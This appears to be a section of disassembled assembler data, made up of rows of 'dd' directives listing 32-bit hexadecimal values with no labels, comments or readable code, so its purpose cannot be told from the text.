dd 0A2B281h, 0A332F94Ch, 6872A74Ah, 8DCD7416h, 90018CA3h
dd 9708B1DEh, 0A2F8739Eh, 7DAC301Ch, 8802600Fh, 98899223h
dd 0B57C216Fh, 7A80F8D5h, 5044C609h, 6EE0E731h, 0B3088011h
dd 0D5F6A2h, 8E5EB169h, 5F253E5h, 41678B25h, 246B379Ch
dd 0B794B29Ch, 4805C008h, 0F3007BBAh, 9F3E662Fh, 53FD8ACh
dd 0ECB325CDh, 0A85C8470h, 8CD7BC68h, 8E2BF800h, 0C5B727FDh
dd 0C52C4BA2h, 7EF8E444h, 40E8E890h, 2B2BE845h, 8C7024h
dd 69C9AFD2h, 173B26EEh, 83B15F0Bh, 4BCC40D4h, 86D1680h
dd 5DC400ECh, 1BE7F3C0h, 0EC027AE9h, 0C0F46734h, 8879BFF0h
dd 0EA73A238h, 0CCD3FD5Fh, 9F88044h, 61D978DFh, 5B7088B0h
dd 19218221h, 0D2C9E499h, 1D7CBEECh, 74FE2035h, 5CFC3801h
dd 0C265D26Dh, 180B642Dh, 0C437D1E0h, 0F6956F02h, 2FCC427h
dd 0F19B9A70h, 707BEF28h, 0DDC43B59h, 0CEA400ECh, 0F0489833h
dd 45814A47h, 37BC4C2Ch, 6375008Ch, 0AA8F05E0h, 0A52274FBh
dd 0E3AF802h, 3CCA425Eh, 0F34CB093h, 0D08B700h, 0B4D10F50h
dd 0B16C0F96h, 89B888B2h, 3F390893h, 0C56E816Fh, 69DCAB4h
dd 9924DE8h, 15FFF2F7h, 4CE8A0C3h, 58C2F556h, 409DF411h
dd 25A23B30h, 58ED5C4Ah, 0E86EA0CEh, 1A05CACh, 0BC4CDD5h
dd 2B12A8DAh, 9AB8B4C3h, 2698A102h, 3B7A6596h, 7D523DCh
dd 0FBE984C6h, 0A5004CC4h, 92767CF8h, 14640E7h, 0F6042EEEh
dd 2CAA63A9h, 8C31BCFCh, 8FE820Fh, 11642F7h, 2EEC7E7Bh
dd 0D4465C50h, 6EF7FC09h, 610C4490h, 0B233000h, 0ED529C59h
dd 0BBD902FDh, 333C9DEBh, 64025078h, 0A04147A6h, 13CD66Bh
dd 34D8AD24h, 0BC4F2046h, 0C902E327h, 403B2C68h, 0D6918030h
dd 27000AEAh, 89DD990Dh, 0C377A0DBh, 1DF8C020h, 4EBD92C9h
dd 0D3FE1120h, 3C5ED089h, 0A96217D6h, 97F0C87Eh, 72188000h
dd 6C603D39h, 1D8100F6h, 77765B54h, 0B0733AF9h, 79A69A09h
dd 275BE0CCh, 56A4A8CAh, 78E900AEh, 0EC8C419Dh, 45027EB2h
dd 0B1C4BEEFh, 0B0A260DEh, 0BC37B5DFh, 7D7CC202h, 0B7C04450h
dd 49343404h, 0A2DC682Dh, 0A56900EDh, 3FDE8DE3h, 359D6A78h
dd 0B21480B4h, 0F4B3B034h, 0C92024Fh, 8DDCE82Fh, 0E8030DBh
dd 0E5EB5018h, 37EADD09h, 8C5A2Bh, 6ADAED62h, 0B8CF0D8Bh
dd 0F7CA2300h, 983D6342h, 37E876h, 9E7E6D7Ah, 0EAF88BF5h
dd 61E3D619h, 0F022D3B0h, 7A301FF2h, 9B8604A0h, 0C88235C5h
dd 0CA2491ACh, 0B727B0ABh, 7CC90088h, 0EDB7043h, 48DDBD04h
dd 789427B8h, 59AC54C1h, 0FD4403Fh, 91723E79h, 5B97C825h
dd 6C2382Ch, 0C826B2C7h, 2F1D00A1h, 0B3B5B6D4h, 3E0099DDh
dd 90080122h, 57972C3h, 32FFA037h, 0DBD0C370h, 55BA6EABh
dd 4EAF5C04h, 0BD20CE70h, 4B40A023h, 0A44AF928h, 0E44CE595h
dd 0B0156018h, 0C64C5EDBh, 0B0AD4924h, 6E5824C0h, 0C42CF15Bh
dd 0BF9F6504h, 42CA8CBh, 0D987F2F6h, 0A20816EAh, 3036F2D8h
dd 63005755h, 4931D2ADh, 4D6867A0h, 0FF1D0CE7h, 0E8418CA3h
dd 485C8310h, 0C03A4E28h, 3600D523h, 0A03D6CECh, 5354394Ah
dd 8CD885DBh, 0E40B9B20h, 9115157h, 0DCE05E60h, 3EEAD04Ch
dd 0DEC380BCh, 0EB8EE58Bh, 9E960B75h, 0C78233Ch, 0F0DB42Fh
dd 0FF62E4C8h, 7A733C42h, 5F87F100h, 0BC229DCFh, 0E70097D4h
dd 0BFFF1E29h, 0BB0080BDh, 0E5D212D9h, 81AC4C14h, 765D6700h
dd 0A54349C3h, 942ED494h, 0F6CA00DCh, 8D9C0C79h, 7A053458h
dd 10A5E78Eh, 0F0F0A817h, 4B94947Eh, 0F16FB4E5h, 0C449FC80h
dd 4892AF34h, 9B96F25h, 11381D10h, 81938002h, 0AF10FBh
dd 574ACAA1h, 0B46A83CDh, 0FF4C0898h, 0E7F68140h, 803CD50Fh
dd 4522C864h, 0B0536C2Ah, 31C8808Bh, 608BD5C2h, 1867FE6Dh
dd 0D8377C4Bh, 9CA68F4Dh, 0FFC431C2h, 0A70C46F2h, 603044B8h
dd 0FC49F2h, 53A0E591h, 0A29E1FB3h, 0FDE46550h, 246BD15Ah
dd 3080BD3Ah, 3EB71AD6h, 465C4C63h, 8C1CE8F0h, 3190F775h
dd 83B36902h, 0E92D030Ch, 0FF6ABECh, 57F69FE0h, 0B2981050h
dd 349D3715h, 0B42F4ED4h, 2100D723h, 4C50D6ACh, 49BCBC2Bh
dd 3FC86780h, 0D20726D4h, 9054CED9h, 0DF3E4100h, 3750323h
dd 635F0738h, 79DA24C8h, 0D79BAF09h, 4C60A961h, 0D488BEDCh
dd 0E08B4C25h, 80137C78h, 35606D50h, 48C1D2A1h, 0B634C31h
dd 0ED4F1400h, 7F0FD3BEh, 0D4F00D4Ah, 44C400F0h, 0E1AA6789h
dd 49E51EBh, 251A215Eh, 0DB88AB80h, 49A73367h, 7E10BC03h
dd 1F15171Ch, 0D923503Ah, 8084660Fh, 0FA28F02h, 34C50CCEh
dd 6A601AA3h, 0F77ED200h, 40AF56C6h, 0A9E800B2h, 9FACD1E4h
dd 0E5058E07h, 0E05C3649h, 0F263D088h, 98A0662h, 10865F81h
dd 10244E48h, 3F0A02E8h, 0ED8366Ch, 0F5807F2Bh, 0BCDBB169h
dd 0A954819Fh, 0C4E0B35Ch, 0F010D211h, 9CBCCBFCh, 10F0CD89h
dd 0C644FCh, 9E5B28DDh, 0F4FC7A06h, 25C2A809h, 2AFF85D3h
dd 0D5A268F3h, 45DE130h, 5CC7E689h, 2DC4FD90h, 0E9C8689Fh
dd 11A500C1h, 2CDB9A08h, 0E40167AEh, 6BF0A8CDh, 0F47047BBh
dd 0A638D21Dh, 0A0343EF8h, 4220020Dh, 8EC4148h, 80AC370Bh
dd 25430BD0h, 180568B8h, 3AF6666Bh, 682ACC4Bh, 0EFABE298h
dd 0FAB17720h, 9C95008Bh, 50F0B0AAh, 0D72544F9h, 0F1B079C7h
dd 0A2FE18D4h, 881775F4h, 6C800291h, 300610CFh, 0E9D47D0Ch
dd 70E173h, 69A323D7h, 87CDAE1Bh, 512E3E01h, 9D7E42DEh
dd 14C4C071h, 883C9C16h, 0E5053F2Bh, 0A83AC426h, 0F8091823h
dd 0E05803C7h, 28584866h, 241FF310h, 97AF5845h, 8718916Ch
dd 0FD008B6Fh, 901FC4C5h, 5EF0BC74h, 65011D46h, 0DA53E9C1h
dd 7FB02071h, 0D89E3429h, 878C9807h, 5487D8A4h, 0CA7518A3h
dd 79A4C851h, 5FA327A7h, 0CA932840h, 9FA0EC54h, 690DBC30h
dd 0BD08D222h, 0A4412803h, 0E5F79EC0h, 0BF911B00h, 4649DA26h
dd 3C679770h, 37601CC4h, 13002E94h, 0F7BED204h, 97B3B847h
dd 0EF002C89h, 0D18875C5h
dd 94B8D9D3h, 98C30BCh, 0DC6211EDh, 10F83082h, 579AFD00h
dd 259CBC45h, 1B60746Dh, 1A3B14CEh, 0A1408A75h, 70510E1h
dd 0ACCBD095h, 9DC002C8h, 2887106h, 0AF74E8ABh, 0A478C7BBh
dd 9B21A500h, 0A9448C81h, 0C6420449h, 0D26D585Ch, 6C10B130h
dd 31E82053h, 6D67C712h, 464890C0h, 6FC0A874h, 5879C992h
dd 0E7019851h, 9CC70233h, 803DB1E5h, 0E4A017BCh, 0B38065E7h
dd 5D4A17DDh, 0C0DC9AD0h, 0C288ED03h, 0D72F04DFh, 0B09B8B06h
dd 0E7023B44h, 0DB8D192Bh, 483CD2FCh, 3E8CCA5h, 18B70E8Ch
dd 65E1E67Fh, 20C249E0h, 949E9418h, 0E7E49E01h, 0A820A45Bh
dd 0A8C55409h, 23372543h, 6D0BCF3h, 0F8FF5C75h, 60248A2Fh
dd 0C808CBD2h, 6DEEC303h, 3AB7AEB8h, 0EB2E7B07h, 8E31BFE4h
dd 5EF6D79Fh, 69238B14h, 0C2D00873h, 18750BADh, 0D4E39853h
dd 50C0E7BBh, 7001BABDh, 0BBB177B4h, 0C12F5ED1h, 283D1960h
dd 0C8B4E68h, 30251A84h, 0FF418520h, 28BD2C0h, 531E04F8h
dd 54C7C002h, 7360D8E4h, 173FF703h, 44780E4Bh, 6B6846CAh
dd 0E78F12D0h, 89B0B09Bh, 75C03F04h, 12BECBD9h, 0C878CB88h
dd 4953C0DBh, 0EA0703E7h, 0DDA71684h, 1122D631h, 0DA305084h
dd 2590F88Ch, 1852E8h, 0DB679747h, 0CE4FFCE5h, 0DA314009h
dd 9EC8A0F8h, 9FD8FF0h, 210F5019h, 3A024C5Ah, 1BEA24Bh
dd 0B08C080h, 1D824881h, 830A8F02h, 0B8DC7297h, 0B7103240h
dd 753F0381h, 1BBC65CAh, 19C44D8h, 0F0A50B00h, 0AB0A9B36h
dd 45370051h, 0E5EB9189h, 0C525AFBAh, 0E46865B2h, 0D4506736h
dd 5C848B41h, 3B2D547Dh, 84C42825h, 496CE250h, 275BCF8h
dd 0B7D960D8h, 0A95D3EBBh, 16437B4h, 38A5CE8Ch, 0DC323E49h
dd 34C610B7h, 14964720h, 58A4D965h, 58C4DACh, 8C43199Fh
dd 0EC3CAC0Ch, 36008C01h, 9E5F4CEBh, 25804575h, 54688ECEh
dd 0CC49B222h, 0B8E70830h, 906C123Eh, 0EC9E4EA0h, 0C7C1522Dh
dd 63016420h, 0B991A09Dh, 0D9710084h, 4D6B7F36h, 0FC12A643h
dd 0C491DB8Bh, 38840D10h, 0F0358ACDh, 0C72E718h, 0AA9C539h
dd 846CA05Ch, 0BDEA824h, 1F8E74E5h, 8F3D50FAh, 0D5F48BE4h
dd 7FC0013Bh, 7984226Eh, 8048DBB0h, 41C90388h, 20823516h
dd 18A62CC4h, 1C8D8EE0h, 3C9C0F05h, 0A800C0CDh, 0BA9D3464h
dd 768C9C65h, 0A500DC46h, 0C56587BCh, 2D02A280h, 9BA04936h
dd 4C20F06Eh, 2C9E0CCBh, 0FF8F4048h, 0A490AE4Fh, 326B43E0h
dd 981C7291h, 0E72C173Ch, 23E03F3Fh, 3964041Bh, 0F388882Ah
dd 11DE4D00h, 8FB280C8h, 351B4F81h, 0EB98049Ch, 87F30103h
dd 0A080A7DBh, 69E6F1C4h, 28C1FE18h, 6CBF3CC5h, 0F5BEEA00h
dd 2C4FE75Fh, 0CFC18075h, 7C5D1Bh, 7E2E33A4h, 2A1CD843h
dd 3C5EE109h, 8B1C41DDh, 0E7257816h, 2BE0A26Ah, 0CE690EC9h
dd 754714D4h, 289B6BB5h, 3E2C1B80h, 449D1A76h, 0F29F858h
dd 4A88F1ACh, 0F9840720h, 47DED09h, 0F657F201h, 5DE77820h
dd 0DBFC59EEh, 0B7096084h, 7E3B0029h, 0A7521F40h, 1327FFF1h
dd 605021D5h, 0DB2AAE2Fh, 8FE68010h, 5BD279F4h, 0E4D080A0h
dd 0CB2EB3D6h, 0CD848C78h, 0B8A8DABAh, 5C8C4DBCh, 0C07FA002h
dd 2CB1D9D1h, 0C78BF9Dh, 6F0447B5h, 970584F1h, 6FD408BAh
dd 9DC9F109h, 823311CCh, 0C0933D91h, 0C09BF578h, 0A7181A08h
dd 6A5F022Ah, 8BC098DAh, 2486426Ch, 89E3E439h, 7469F6A0h
dd 18465EE4h, 0D233A101h, 3C2D0120h, 0D9990098h, 4F8D14ABh
dd 5309090h, 67BAFECDh, 0EDA8BC3Dh, 0DD9D30EAh, 0BF0C3800h
dd 262FA28Fh, 0FD130BA8h, 48799F9Ah, 1C60D4F3h, 7479E2AAh
dd 4416F800h, 3FA0391Ah, 0EEDB0032h, 47E5D9C1h, 1909989Dh
dd 65D7E678h, 6018E420h, 16AF56D3h, 0A893AA67h, 0B8F4C06Ch
dd 0F29080h, 0C4BC7913h, 66CE9C35h, 881430B4h, 38C84E24h
dd 0E86900AEh, 56980B9Bh, 0B709ED23h, 2478ABC5h, 0A0F4D484h
dd 7D63003Eh, 0C9F69C9Fh, 2A954B49h, 0E0A42058h, 1CBB08h
dd 0A5E211AEh, 130B2DF2h, 9DF19015h, 8FDC1158h, 2020CF4Ah
dd 7413F3AEh, 6EA0F2E9h, 0A540697Fh, 2640322Ch, 0B039C562h
dd 5AD6401Ah, 76C82782h, 66704CFBh, 52823058h, 0DC469206h
dd 0DD11A401h, 0BEB4849h, 7764606Fh, 75009A46h, 8357FC91h
dd 0F2D87DDEh, 0AEB8007Ah, 0FD59415Fh, 0A495FA27h, 30DBA7C4h
dd 99D9F87h, 4674A0DEh, 0D5A6001Dh, 3C68D43Dh, 75171755h
dd 63F8D08Eh, 0CD9F5C4Ch, 2482C0BCh, 12002D70h, 7A1E4B3h
dd 0C054DA0Bh, 0A6F60314h, 442C4836h, 0F1A54CADh, 181D7968h
dd 0FC11095Bh, 74E2FEA6h, 3C40047h, 16110065h, 43F4792h
dd 37C6B52Dh, 26CA00F0h, 7D9E5468h, 49A96114h, 8C1EB824h
dd 1106500h, 49CEE560h, 7920249Fh, 83348914h, 918044DEh
dd 9E10E77Ah, 416F606Ch, 0F0F9D034h, 4DA4E225h, 44BD6010h
dd 70BE489h, 9F102C4h, 7104D17Ch, 0A4F01935h, 5C6A01F5h
dd 65C7D8FDh, 0A25DDAC6h, 548F4D60h, 58C932Ch, 0C2C5BA47h
dd 0F1016D60h, 2C2B9FE2h, 0AF958960h, 80849480h, 4AC1B5F0h
dd 0A23F01D1h, 5B2341DDh, 0C0383C3Eh, 64F2C5AEh, 0A5709EFFh
dd 851F09Ah, 0EC181C79h, 0C1F7077h, 0CEC9F69Eh, 0DC607481h
dd 3496BF00h, 9035BD73h, 17A02D82h, 38F660F2h, 0A798848Ah
dd 1DF898ACh, 0D160008Ch, 0A042927Eh, 2CA96E9Fh, 10C1149Bh
dd 0AC50C5C1h, 1C54A666h, 966A9F58h, 3C38B087h, 0C1BB3325h
dd 0C22A7110h, 0E447FBA8h, 0E3601FE4h, 5D0266E5h, 0BBB340D1h
dd 0B8005590h, 0ABB7F2F3h, 0F6C8F12h, 30BCB4A8h, 0BFD3018Ch
dd 7B59CA06h, 80527B38h, 89C334A8h, 0A2A85A40h, 4501C6E6h
dd 0EE391F18h, 0F09CAAFFh, 7B1C6848h, 5468B5F1h, 2B553C9Ch
dd 34802884h, 0ACA3F894h, 5630D9A2h, 89C6013Ch, 446CCAD4h
dd 6A53E0C4h, 0B32468B7h, 886F44B1h, 12020520h, 0E8B4D38Ah
dd 0F04B0438h, 8D014A8Fh, 800FC483h, 89670518h, 0C8339Ah
dd 0E6F3C5ACh, 9F0D040Bh, 0F48B064Fh, 0F8C131C8h, 0C0DE45D5h
dd 49184C74h, 4B01EC7Ah, 0D2D6B41Dh, 202F6A08h, 0F900D923h
dd 0F8EE2B35h, 5E6228C5h, 6D7B2D84h, 0AB735C22h, 9809E00h
dd 16F02434h, 43A42698h, 0E0C86D2Fh, 31E54599h, 0F46E6FC0h
dd 26ADB100h, 0DAD12C6Eh, 4B61900Ah, 7449B088h, 409543B0h
dd 7B4D63B8h, 9DEA8300h, 6EA6DF01h, 5C3900F8h, 0B1F43382h
dd 0F558902Fh, 8C1FE808h, 2BC72900h, 0F8DDE7D9h, 0AC78040Eh
dd 92285319h, 0E8F4EE40h, 53F04D6h, 0E1CE9708h, 68205994h
dd 8C1EBCD0h, 5079F132h, 400CFC8Dh, 0CDA416D8h, 44881F4Fh
dd 0E70F44E6h, 97215600h, 793549B8h, 405F4CCCh, 8BEAC080h
dd 0D09E4F1h, 0E22CD295h, 50827FB0h, 0B51A779Dh, 500F8034h
dd 468E4CD7h, 67D2AC07h, 13F8B333h, 9A3C75F3h, 0D6BAC2CCh
dd 0D8E0DBC4h, 72B0DE53h, 0A2FDE730h, 178FC8D9h, 0B144CBB7h
dd 0CD2F62Ch, 0A10043B0h, 0C800BE8h, 0B4A093h, 5289D8E0h
dd 545D2FE4h, 67069801h, 0C92BACA1h, 8CFB0430h, 0C022B0BEh
dd 96A62007h, 0D851F10Fh, 43C41382h, 9240040h, 7B421549h
dd 0E4B64A48h, 174E20A8h, 0B0ADFCC5h, 380F48ACh, 0C074341Fh
dd 0BEC1F7F0h, 0B825FD96h, 0FFFC6C6Eh, 37EF6F03h, 0A7EE980Dh
dd 5413D270h, 526500B8h, 0AB176889h, 6200A7CBh, 6D43C029h
dd 9735AEFh, 4CD683CAh, 4E045681h, 0D8B221C2h, 0D3300622h
dd 9B96498Eh, 8DE812h
dd 57A83543h, 78D9C5DDh, 1780D101h, 0C110BBDBh, 0C1ED05FCh
dd 0B7881F58h, 818BF82h, 0DE3E94Bh, 8C4814D9h, 617C5B58h
dd 504803F3h, 0DB6FC062h, 32CA1698h, 53AE6B03h, 0E79124Eh
dd 6648D29h, 0A728660h, 56337D94h, 0A1A951CBh, 0A9BCBABDh
dd 39EBF300h, 0DAF88C6Ch, 994D631h, 208053FCh, 83A04D3h
dd 0BD145CB1h, 148CF7AEh, 1460FEE9h, 0F6CBCDFh, 805B0F15h
dd 2D859478h, 6036EE24h, 5219988Ch, 38C0F511h, 434434D1h
dd 0BF8800CAh, 362C9FF3h, 0C128D41Eh, 6D16645Ch, 0A40A526Ch
dd 69C4DC67h, 5264B740h, 0BB30B427h, 0ACF1D106h, 811E00B0h
dd 9D5D46EEh, 0C900E780h, 0DB317BE9h, 0EE39714h, 77D3BFDDh
dd 6AAA4680h, 0E615133Ch, 0A0D696h, 0AC79B5B2h, 0EA189F1Bh
dd 8CF6653h, 983D21AEh, 0A500F6BCh, 0ABF5FA12h, 11B69h
dd 0DEAC553Ah, 1538D4D9h, 7EB66D0Fh, 0E5256114h, 18805494h
dd 223DE97Ch, 0BB070BADh, 0BEB81BA9h, 0BA5540D0h, 90102F3h
dd 0D8952FB4h, 0CB0FD88Eh, 1A50B0A0h, 0F314BEE8h, 42B40758h
dd 30ABE25Ch, 9402849Ah, 0C3D92CC1h, 0AEA8905Bh, 917400A7h
dd 108B499Bh, 157057B0h, 0D70C8400h, 0F1B3202Ah, 0B67A0ABAh
dd 80EC412Bh, 85C77B1Ch, 250014DEh, 3A2C6BCBh, 93AC648Ah
dd 8EDA017Ch, 87382B62h, 15A43439h, 0B6BAC1DFh, 998D30Fh
dd 0BD142127h, 48CA1501h, 409020FAh, 0D3AD8840h, 654F0C34h
dd 8DB9777Dh, 970384A0h, 0AFE8C286h, 84B1C71Bh, 0C39311A7h
dd 9E2D5ECh, 0A38B8EECh, 0E30D4000h, 0D9241705h, 1BE0A862h
dd 0C06C7A58h, 0A34C41C8h, 8E41C88Fh, 2D886C0Bh, 0ECD67C0h
dd 8F8A0C76h, 180A073h, 0FEA82101h, 3E2BD89Fh, 1C763180h
dd 1D8E0D42h, 0C3003B75h, 93DB6ADAh, 91100AADh, 80A791ECh
dd 8C6E39E9h, 0FA448CE8h, 3A0200D1h, 0BAF93841h, 5D03C728h
dd 0C26086E5h, 55E801DDh, 32581E97h, 391080DFh, 49ACBD3Eh
dd 0AA71C88Ch, 7139EEC1h, 0FF18E0F9h, 2E7D088h, 938A0639h
dd 0ACA0A29Fh, 4698B648h, 4BA8F350h, 0D6BD6B00h, 2085B57Fh
dd 36BCA0ADh, 0F2198080h, 717CB849h, 8C372A15h, 90970D0h
dd 259619A0h, 4C20BE98h, 706D39EAh, 22DB438Ch, 3D400F7h
dd 0ABC4743Ah, 6A1E42C2h, 0AB98C5Ch, 0CCD867B7h, 32305984h
dd 45C14080h, 0C1D4610Ch, 22C00670h, 63860044h, 0D7FE4D8Ah
dd 8ED912EFh, 0AA0C6068h, 0BB10B515h, 2FC8B80Ah, 1C01F692h
dd 3D533F73h, 0F1548340h, 1F091488h, 0FBE8F0D4h, 5A60028Ch
dd 2BEA2EA5h, 0A700AC44h, 2D9822EEh, 3AAC11Ah, 435B2E1Eh
dd 9B905608h, 380677C8h, 7187C0FCh, 0CC1F4C78h, 78C65BCh
dd 232AE51Bh, 0D0988915h, 9F02F933h, 0FAA01731h, 90744383h
dd 0AE2C57h, 4555787Bh, 50901FDDh, 1CBFA026h, 0B1806791h
dd 22BBB815h, 2A44A4ACh, 15A300F7h, 442BD10Bh, 0CE60F5E1h
dd 575CC658h, 14367953h, 0E8389C10h, 80B0C33Dh, 797259B9h
dd 6B022770h, 0ED69B6A6h, 74642Ch, 0F7CC3092h, 0CAD40DECh
dd 70793D1Fh, 9DD83889h, 0C63C40h, 6A33A96Dh, 0E39E8F4h
dd 8AF18762h, 2684167Dh, 0CF211088h, 0BE177Ch, 0EE995144h
dd 7434288Dh, 0ECCEC83Ah, 99C0FD88h, 71FFE360h, 48356010h
dd 14DAF88h, 18382751h, 520871FCh, 0C44FFFF4h, 69B44062h
dd 6292A052h, 0A2BBB879h, 23E68B03h, 0F003A8A0h, 0A48C6F39h
dd 322EF762h, 0B90B7000h, 4D40420h, 11549F02h, 8098C20Ch
dd 7C08FF00h, 16B8C730h, 2B9982B6h, 6F60C024h, 0FF23EE52h
dd 64113Fh, 325267BAh, 1742CF0h, 231F146Dh, 8299F744h
dd 0FB881BB1h, 5B44606Fh, 2AF4BA93h, 0FAE8D395h, 745F1494h
dd 4A009CBDh, 19B2C4E2h, 0E315855h, 758438D9h, 0F2457082h
dd 5CC41466h, 0BB020446h, 0CF1BA679h, 9212A831h, 0FE9B5A00h
dd 594B17BAh, 1DA801E4h, 8E775778h, 5599D368h, 96E71030h
dd 782B8CBh, 3094A71Bh, 82BF973Dh, 4594EA41h, 781C84F6h
dd 0ED806CC0h, 9AB77206h, 460C9080h, 527002BDh, 3347FFF5h
dd 68B343DCh, 8F41A852h, 0F358021Ch, 0F9BFF609h, 0A25B63C0h
dd 0F890D850h, 493C9E54h, 44A439EEh, 18593428h, 483BE9D3h
dd 2E00F723h, 5C7419E6h, 3BDF0082h, 88C1AD70h, 29C1E8BCh
dd 0D4EB8F14h, 0A9333820h, 0A30C133Ch, 39ED048Ch, 67C88C72h
dd 3CD210Ch, 725739E6h, 14F2EBBFh, 40EDE4E2h, 4522ABC0h
dd 0E59E0190h, 10B88FD4h, 0A7E1C496h, 4387120Bh, 0B76CA185h
dd 80895516h, 68A0452Bh, 0BD72E6F4h, 0DD512E00h, 2F25BA01h
dd 0AC60016h, 2D653D55h, 0EE00A6D8h, 0C03A2014h, 0C0090143h
dd 3752C8B0h, 0CE60567Bh, 9BA616D9h, 1254999Eh, 6B0C60C4h
dd 0FF21EA52h, 63CEC05Fh, 57776252h, 27EC1214h, 79C402CEh
dd 0C024A007h, 4D683ECh, 45C3CB01h, 22BC88FFh, 0F4769403h
dd 0D00E5DC2h, 0B8DD2D55h, 397C3058h, 5BB714E8h, 0A498B66Fh
dd 98D2FC57h, 64604763h, 0AEC36063h, 567601DBh, 93907D1Eh
dd 58BC207Bh, 0E83E0724h, 0AD465Eh, 7ECF64Ch, 6438D6h
dd 3B087B30h, 2C5B9B95h, 9A4F121Ch, 91741DE5h, 418A80ACh
dd 257320E7h, 0BC822B23h, 5C72BD06h, 7C9217E0h, 372B1406h
dd 41A695h, 1AAA5C0Ah, 7E96357Fh, 3CF68900h, 9C3C455h
dd 74D3DD6h, 31CB1400h, 0EACCF21Ah, 7D054898h, 648EE13Bh
dd 4AEDC98h, 0AABBB915h, 202832B6h, 9815A712h, 0A943C109h
dd 0A13402E1h, 7C84728Eh, 0C3C73045h, 0E83ADB56h, 0EFAFFF0Fh
dd 1989FBAh, 9960D130h, 40DA14B8h, 0FC8C2DACh, 63A1898h
dd 0B5C570BEh, 28E35513h, 40785C82h, 907DAE38h, 0D84B0120h
dd 0BA0BA1BEh, 0BC042CA3h, 0BC028C2Bh, 1023F0E1h, 48AF4168h
dd 2FD8C040h, 0D42012E2h, 105067C2h, 6FFFF052h, 0C0C9C0B1h
dd 0F7B4564h, 4A23B35Ch, 2581316h, 76338010h, 0C401F300h
dd 787DE8D7h, 0B0525155h, 0D00BD4h, 4245BA51h, 3CD3ADECh
dd 8A7A9D0Ch, 4C7C6174h, 14927C58h, 88481CCCh, 114C7A24h
dd 79B98002h, 8CBF1BB0h, 7B94AA44h, 2D6A01C0h, 0A1C762F9h
dd 0E82987h, 0A86CD58Eh, 0F1F7C6h, 779981D0h, 3D974DADh
dd 0A8799499h, 0F9097A18h, 1D25201Dh, 80A911D0h, 8CE8EE72h
dd 1D550014h, 0EA6AD153h, 1A2C7D6Bh, 0B38214B0h, 0A8C4F3BBh
dd 0D502C3B8h, 0A00E0D17h, 0BBB6EC98h, 1244989Dh, 3A1314F7h
dd 2A2350h, 294D9841h, 0B01C573h, 1946943Ah, 908ADA6Dh
dd 83E8F858h, 0B7A3AF8Ch, 20127002h, 0A0765A3Ch, 0B11730E4h
dd 0DD3401DFh, 1484AEA0h, 0ECBC600Fh, 11E81D8Ah, 0D36280ABh
dd 59815FF7h, 7581085Ch, 2044B427h, 0DA4BBA6Ch, 2D238C2Eh
dd 0EF670600h, 0D3AC9Bh, 0DD231734h, 2180D84Ch, 583E3829h
dd 4218AF59h, 0B0711C12h, 0D197E203h, 628A8027h, 0C5716DFh
dd 573C1C1Fh, 5CDC3308h, 92724127h, 0AD428080h, 12143Ch
dd 712629DBh, 17F0451Dh, 50C0BD2Eh, 1FE467Eh, 1DC8A540h
dd 0A4698CA3h, 614BBB04h, 4548CCEDh, 0A58ADD3Ah, 3D7C1720h
dd 0AEE607C6h, 34707A36h, 26C1E2BCh, 0F4E01F39h, 0F37DCC0Ch
dd 0E045A110h, 1D670BBFh, 9422AE60h, 111D4EC1h, 3CED80AEh
dd 2A1DCCEh, 0F66657FCh, 8C9885A2h, 0A4DFD43h, 95220E78h
dd 1F1CE50h, 18D810F8h, 3C43E841h, 0B706308Fh, 1F298455h
dd 1868799Ch, 588D28C8h, 8616172Ch, 7B3441CBh, 63542111h
dd 0E9A8501Ch, 0BA029643h
dd 0B71BB179h, 950F0CE7h, 5F1A60C1h, 2E3B74CAh, 33C8B85h
dd 0DC584453h, 0E372C1BDh, 0C47C6580h, 2650C183h, 34A4EDACh
dd 1B56B662h, 0F906797h, 7E60BE59h, 0F3BA3BB6h, 0B60044Dh
dd 426E5855h, 56FC4078h, 45B388C6h, 8C41FE4Bh, 81DB807Bh
dd 0C6F7D600h, 0AE7820FAh, 0C9310260h, 74BE5D08h, 94EB00ABh
dd 8247BCC3h, 857FB186h, 9AEC131Eh, 2C520388h, 0E82250h
dd 731A98D8h, 5D238293h, 790D3818h, 15452E9Ch, 0C87AD206h
dd 17753E50h, 51EACCBh, 82C601F3h, 28583418h, 9FF4F925h
dd 9DAA1188h, 3B4DFD00h, 49607BB1h, 21056432h, 0E292A28Ch
dd 694A0870h, 781F02FBh, 607889E0h, 77D6049Eh, 0C0700Ch
dd 94062954h, 72BC2FA6h, 0E4402C4Fh, 0FEB3D1E8h, 0E2AC0051h
dd 0E5FA8FDAh, 1FEE5288h, 0F8561204h, 94C03D79h, 0BAF2F99Fh
dd 8ED91498h, 0A58B4863h, 0C2BB4482h, 0B038EC47h, 8DD8B0BEh
dd 3F00B988h, 0C0F3BF12h, 0F01D1830h, 7B135340h, 4F1E13C1h
dd 88DCCBE1h, 5268E12Bh, 3081CD6Ah, 0F374FCA9h, 7E1E1F02h
dd 6013BD77h, 48CC07FBh, 5505BC26h, 12CD2080h, 54D440BCh
dd 4F9D5BF5h, 0FE43BF03h, 0E5D8FDD7h, 0FEE294B3h, 0CA24B30h
dd 1BC9EB5h, 48004A39h, 0D6942596h, 49B7C8h, 0BDB1977Ch
dd 84C29C5h, 17F96505h, 0B8C4D60Fh, 0BB9CD480h, 81D1010Eh
dd 0E4B80612h, 110201D3h, 0EC05FC6Dh, 5D75F86h, 8FD944ACh
dd 0C0ADC8C8h, 5D88DBBCh, 0EF1BFC01h, 0E458FF83h, 949C80DAh
dd 1F26B6Eh, 0BA8DEB2Eh, 60297B55h, 101ED25h, 0FF43EF70h
dd 84505B56h, 19CE8606h, 187B15D3h, 92845063h, 89E46B9h
dd 0E2717701h, 0F0333994h, 1CC598A7h, 0C97668C0h, 89ECE306h
dd 2660121Eh, 45B80072h, 79EAC64Bh, 0EB929F3Eh, 8B738h
dd 0D2281474h, 870FDF84h, 0E21F082Ch, 0F0B4F93Ah, 0FBD3230h
dd 40D913E1h, 0B0182F79h, 67894000h, 7016F93Ch, 17C0506h
dd 0C43E1C11h, 0F788F284h, 35D92CC0h, 85C200CCh, 1D31889Dh
dd 0E5004487h, 308A83DCh, 0E0A1F23h, 0DB348F94h, 7D2EBF40h
dd 0DE4C035h, 0EAE12D00h, 246761EFh, 0ADB1CBDh, 0FAFC06C8h
dd 5E0008CDh, 0F2CA1882h, 67BDD3h, 0EEB212A4h, 2DA32F48h
dd 0F6744C02h, 8F3BE1EFh, 1AE808h, 34E39082h, 0B000E5E0h
dd 0A46AC980h, 70AA831h, 12438F2Ch, 4624077h, 0CC00454Fh
dd 20284603h, 0DE4C7685h, 2D95C318h, 0E5A94EEAh, 0CC3FE0F0h
